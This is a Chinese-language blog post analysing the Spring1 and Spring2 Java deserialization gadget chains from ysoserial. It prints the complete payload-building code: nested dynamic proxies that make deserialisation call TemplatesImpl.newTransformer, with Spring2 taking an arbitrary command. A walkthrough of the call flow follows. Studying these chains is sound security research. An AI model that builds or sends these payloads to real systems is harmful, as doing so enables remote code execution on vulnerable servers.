关于Spring链子动态代理的一些粗浅理解
Spring1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 public static void main (String[] args) throws Exception { TemplatesImpl tmpl = Util.getTemplatesImpl(); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); HashMap<String, Object> map = new HashMap<>(); map.put("getObject" , tmpl); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); ObjectFactory<?> factoryProxy = (ObjectFactory<?>) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler); Class<?> autowireUtilsObjectFactoryDelegatingInvocationHandler = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler" ); Constructor<?> ofdConstructor = autowireUtilsObjectFactoryDelegatingInvocationHandler.getDeclaredConstructors()[0 ]; ofdConstructor.setAccessible(true ); InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factoryProxy); Type typeofdHandlerProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, ofdHandler); HashMap<String, Object> map2 = new HashMap<>(); map2.put("getType" , typeofdHandlerProxy); InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" ); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler); Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> cons = methodInvokeTypeProviderClass.getDeclaredConstructors()[0 ]; cons.setAccessible(true ); Object methodInvokeTypeProvider = cons.newInstance(typeProviderProxy, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ).getMethod("toString" ), 0 ); Field field = methodInvokeTypeProviderClass.getDeclaredField("methodName" ); field.setAccessible(true ); field.set(methodInvokeTypeProvider, "newTransformer" ); Util.serialize(methodInvokeTypeProvider); Util.unserialize();
我们对这段代码进行分析
一共进行了三次动态代理
最外层的代理对象是typeProviderProxy
,handler是AnnotationInvocationHandler
,作用是触发代理getType()方法返回内部typeofdHandlerProxy
代理对象
次外层代理对象是typeofdHandlerProxy
,handler是AutowireUtils$ObjectFactoryDelegatingInvocationHandler
作用是调用typeofdHandlerProxy
对象的任意方法会调用handler.ObjectFactory.getObject()
第三层代理是factoryProxy
代理对象,也就是上面的handler.ObjectFactory
属性,handler是AnnotationInvocationHandler
作用是触发代理对象的getObject()方法返回恶意TemplatesImpl
对象
下面来看流程
在 readObject:404, SerializableTypeWrapper$MethodInvokeTypeProvider 的
1 this.result = ReflectionUtils.*invokeMethod*(method, this.provider.getType());
中,this.provider
就是我们的第一个代理对象typeProviderProxy
,调用getType
方法返回
typeofdHandlerProxy
代理对象,这里是触发的是第一层代理
然后
this.result = ReflectionUtils.*invokeMethod*(method, typeProviderProxy);
进行方法调用
调用typeProviderProxy
对象的newTransformer方法,因为是typeProviderProxy
的handler是
1 AutowireUtils$ObjectFactoryDelegatingInvocationHandler` 所以调用`typeProviderProxy` 的结果是调用到了`ObjectFactoryDelegatingInvocationHandler.invoke
)
最终在invoke方法中调用到了this.objectFactory.getObject()
,这里触发的是第二层代理
而我们知道objectFactory
其实是factoryProxy代理对象,调用factoryProxy.getObject()
会返回TemplatesImpl对象,这里触发的是第三层代理
最后在 invoke:307, AutowireUtils$ObjectFactoryDelegatingInvocationHandler
这里的Method.name是newTransformer,this.objectFactory.getObject()
的返回结果是TemplatesImpl,也就是调用TemplatesImpl.newTransformer()
整个调用链在这里生效
Spring2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 final Object templates = Gadgets.createTemplatesImpl(command); AdvisedSupport as = new AdvisedSupport(); as.setTargetSource(new SingletonTargetSource(templates)); final Type typeTemplatesProxy = Gadgets.createProxy( (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy" ).newInstance(as), Type.class, Templates.class); final Object typeProviderProxy = Gadgets.createMemoitizedProxy( Gadgets.createMap("getType" , typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" )); Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" )); Reflections.setFieldValue(mitp, "provider" , typeProviderProxy); Reflections.setFieldValue(mitp, "methodName" , "newTransformer" ); return mitp;
相比于Spring1的代码typeProviderProxy之后都是一样的,我们主要看不同的地方
在 readObject:404, SerializableTypeWrapper$MethodInvokeTypeProvider 的
1 this.result = ReflectionUtils.*invokeMethod*(method, this.provider.getType());
中,this.provider
就是我们的第一个代理对象typeProviderProxy
,调用getType
方法返回
typeJdkDynamicAOPProxy
代理对象,这里是触发的是第一层代理
this.result = ReflectionUtils.*invokeMethod*(method,typeJdkDynamicAOPProxy);
进行方法调用
调用typeJdkDynamicAOPProxy
对象的newTransformer方法,因为是typeJdkDynamicAOPProxy
的handler是org.springframework.aop.framework.JdkDynamicAopProxy
所以调用typeJdkDynamicAOPProxy
的结果是调用到了JdkDynamicAopProxy.invoke
我们能看到,最后invoke的对象target来自于this.advised.targetSource
advised属性在初始化时传入,所以我们只需要封装一个advised属性使其中的targetSource属性对应TemplatesImpl,最后就能使target为TemplatesImpl,最后调用到TemplatesImpl.newTransformer
1 2 3 Reference: https://su18.org/post/ysoserial-su18-3/ https://cangqingzhe.github.io/2022/05/06/Spring1%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/